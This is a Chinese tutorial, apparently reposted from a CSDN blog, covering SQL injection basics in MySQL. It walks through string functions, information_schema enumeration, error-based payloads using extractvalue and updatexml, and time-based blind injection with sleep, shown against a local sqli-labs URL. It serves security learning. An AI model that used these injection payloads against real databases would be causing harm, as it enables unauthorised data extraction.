sql注入基础-爱代码爱编程
有几个mysql内置的函数需要记住:
-- 有几个mysql内置的函数需要记住:
length(str):返回str字符串的长度。
substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len):跟上面的一样,截取字符串
ascii(str):返回字符串str的最左面字符的ASCII代码值。
ord(str):同上,返回ascii码
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
使用ascii码来判断时,需要向我们的工具中加入ascii码的字典
常用的sql注入语句:
- and
and:并且
(1) .需要符合所有条件,这样的记录就会被查询出来。
(2) .如果其中一个条件不符合则记录将被剔除掉。 - or
or:或者
(1) .只要符合这几个查询条件的其中一个条件,这样的记录就会被查询出来。
(2) .如果不符合这些查询条件中的任何一条,这样的记录将被排除掉。
(3) and和or的优先级:and优先 - order by
order by:排序
(1) .降序:desc
(2) .升序:ASC - where --后面加条件(满足则输出)
limit o,1 --限制(从第一条开始输出,1:只输出一次)
-
union --联合查询(讲两条select语句连起来查询)
注意,UNION 内部的 SELECT 语句必须拥有【相同数量】的列,列也必须拥有相似的数据类型
同时,每条 SELECT 语句中的列的顺序必须相同
注释:默认地,UNION 操作符选取不同的值。如果允许重复的值,请使用 UNION ALL -
sql注入常用的函数
6.1. version() —查看mysql版本信息6.2. user() —查看当前用户
6.3. database() --查看当前使用的数据库
6.4. @@datadir --查看数据库数据存放的路径
6.5. @@version_compile_os --查看操作系统信息
-
mysql管理数据库的常用命令
7.1.show databases; --查看有多少数据库7.2.use 数据库名; --使用对应的数据库
7.3.show tables;(先使用数据库) --查看有多少表
7.4.desc 表名; --查看表结构(字段名)(方便插入数据)
7.5.insert into 表名 (字段名…) value (数据(对应字段)) --插入数据
7.6.select --查看数据
8.掌握information_schema数据库下的表及字段:
8.1. schemata表 —保存了所有的数据库名
字段schema_name --所有的数据库名
mysql> use information_schema;
mysql> select distinct schema_name from schemata;
字符说明:distinct ----去重
8.2. tables ----存放数据库名和表名的表
字段table_schema —tables表下存放数据库名的字段
字段table_name —tables表下存放表名的字段
mysql> use information_schema;
mysql> select distinct table_schema from TABLES;
mysql> select distinct table_name from TABLES;
8.3. columns ----存放字段名的表
字段column_name —columns表下存放字段名的字段
mysql> select distinct column_name from columns;
9.mysql注入-编码或变形-hex()
十进制----->16进制
mysql> select(hex(15));
字符串---->16进制
mysql> select(hex(‘B-A-D-A’));
以0x开头的16进制---->字符串
mysql> select concat(‘hello’,0x2D,‘world’);
10.mysql注入-编码或变形-ascii()
ascii码 可见字符基本是32到127
与hex()基本类似但不是转为16进制而是转为ascii码
字符串 -> ascii码
mysql> select(ascii(‘a’));
ord函数 和 ascii唯一的区别:多字节的字符处理
mysql> SELECT ord('为');
mysql> SELECT ASCII('为');
ascii码 -> 字符串
mysql> select char('77');
11.mysql注入-字符串-length()
mysql> select length(‘dsada’);
12.mysql注入-字符串-substring(),mid()
substring(),mid() ----取子字符串
取出字符串str里的第pos位开始 长度len的字符
2个参数的形式:
没有len参数表示 子字符串为 从pos位置开始到str的末尾 的字符串
SUBSTRING(str,pos)
mysql> select substring(’’,2); --从第二个字符开始到末尾结束
3个参数的形式:
最后一个参数len 即返回的子字符串长度(字符数)
SUBSTRING(str,pos,len)
mysql> select substring('<b></b>',2,2); ---从第二位开始长度为2(到第三位结束)
13.mysql注入-字符串-elt()
mysql> select elt(1,‘aa’,‘bb’,‘cc’); --选择出第一位并输出
mysql> select elt(3,'aa','bb','cc'); --选择出第三位并输出
14.mysql注入-字符串连接符-concat()
concat():没有分隔符连接字符串 --concat(str1,str2…)
mysql> use xindi;
mysql> select concat(id,dname) from t_depart;
mysql> select concat(id,0x2D,dname) from t_depart limit 1; --查询一条记录,让数据使用-好隔开
15.mysql注入-字符串连接符-CONCAT_WS()
CONCAT_WS(separator,str1,str2…) — separator:其他参数的分隔符
mysql> select concat_ws(’_’,id,dname) from t_depart limit 1;
如果分隔符为 NULL,则结果全为 NULL
mysql> select concat_ws(null,id,dname) from t_depart limit 1;
会忽略后面参数中的null 相当于sql语句中没写 null。
mysql> select concat_ws('_',null,id,dname) from t_depart limit 1;
空字符串 和普通字符串一样被连接
mysql> select concat_ws('_',id,'',dname) from t_depart limit 1;
16.mysql注入-字符串连接符-group_concat()
group_concat(str1,str2…) --连接一个组(整个表)的所有字符串,一’,’号分割
mysql> select group_concat(id,dname) from t_depart limit 1;
17.mysql注入-报错注入-rand()
floor()函数 取小于该数字的最大整数
mysql> select floor(5.1);
mysql> select floor(2.9);
rand()函数 返回一个随机浮点数v,取值范围为0 < v=< 1.0
mysql> select (100*rand()); ---获取一个随机浮点数(0-100),rand()默认0 < v=< 1.0
rand(0)是固定的mysql> select (rand(0));
floor *2取整永远是同一个整数
mysql> select floor(rand(5)*2);
18.mysql注入-报错注入-extractvalue()
extractvalue(XML_document, XPath_string):第一个参数:XML_document是String格式;第二个参数:XPath_string (Xpath格式的字符串)
mysql> select (extractvalue(1,concat(0x7e,(select user()),0x7e)));
查看concat()连接函数
mysql> select concat(user(),floor(rand(0)*2));
19.mysql注入-报错注入-updatexml()
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式
第二个参数:XPath_string
第三个参数:new_value
与 extractvalue() 函数区别是 第三个参数替换了节点字符串,返回值是整个改变后的XML文档
#使用方式
select updatexml(“666“, “/html”,”888″) #返回888
mysql> select (updatexml(1,concat(0x7e,(select user()),0x7e),1));
20.常用函数-xml解析-extractvalue()
mysql> SET @temp_xml = ’
'> <?xml version="1.0" encoding="UTF-8"?>
'>
'>
'> AODB
'> 800495
'> 20171226114530
'> FLOP
'> STND
'>
'>
'> 4666481
'> Y20
'>
'>
‘> ‘;
mysql> select extractvalue(@temp_xml,’/MSG/FLOP/STND’);
21.sleep
关键判断函数:sleep(6)
延时6秒
手工测试 两者对比明显有延迟
http://127.0.0.4/Less-1/index.php?id=1′ and sleep(0) –+
http://127.0.0.4/Less-1/index.php?id=1′ and sleep(10) –+
理论依据:
if是mysql自带的函数,条件如果是执行第二个参数,否执行第三个参数
if(condition,true,false)
if(条件,条件为真的话执行函数,条件为假的话执行函数)
sleep函数放在参数2的位置上 则条件为真就执行 参数2处的sleep(6)
sleep函数放在参数3的位置上 则条件为假就执行 参数3处的sleep(6)
mysql> select if(1,sleep(2),0);
22.恒为真的语句
mysql> select now();
mysql> select sysdate();
mysql> select sysdate()=now();
select if(now()=sysdate(),sleep(2),0);
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 本文链接: https://blog.csdn.net/xt_beginner/article/details/110952154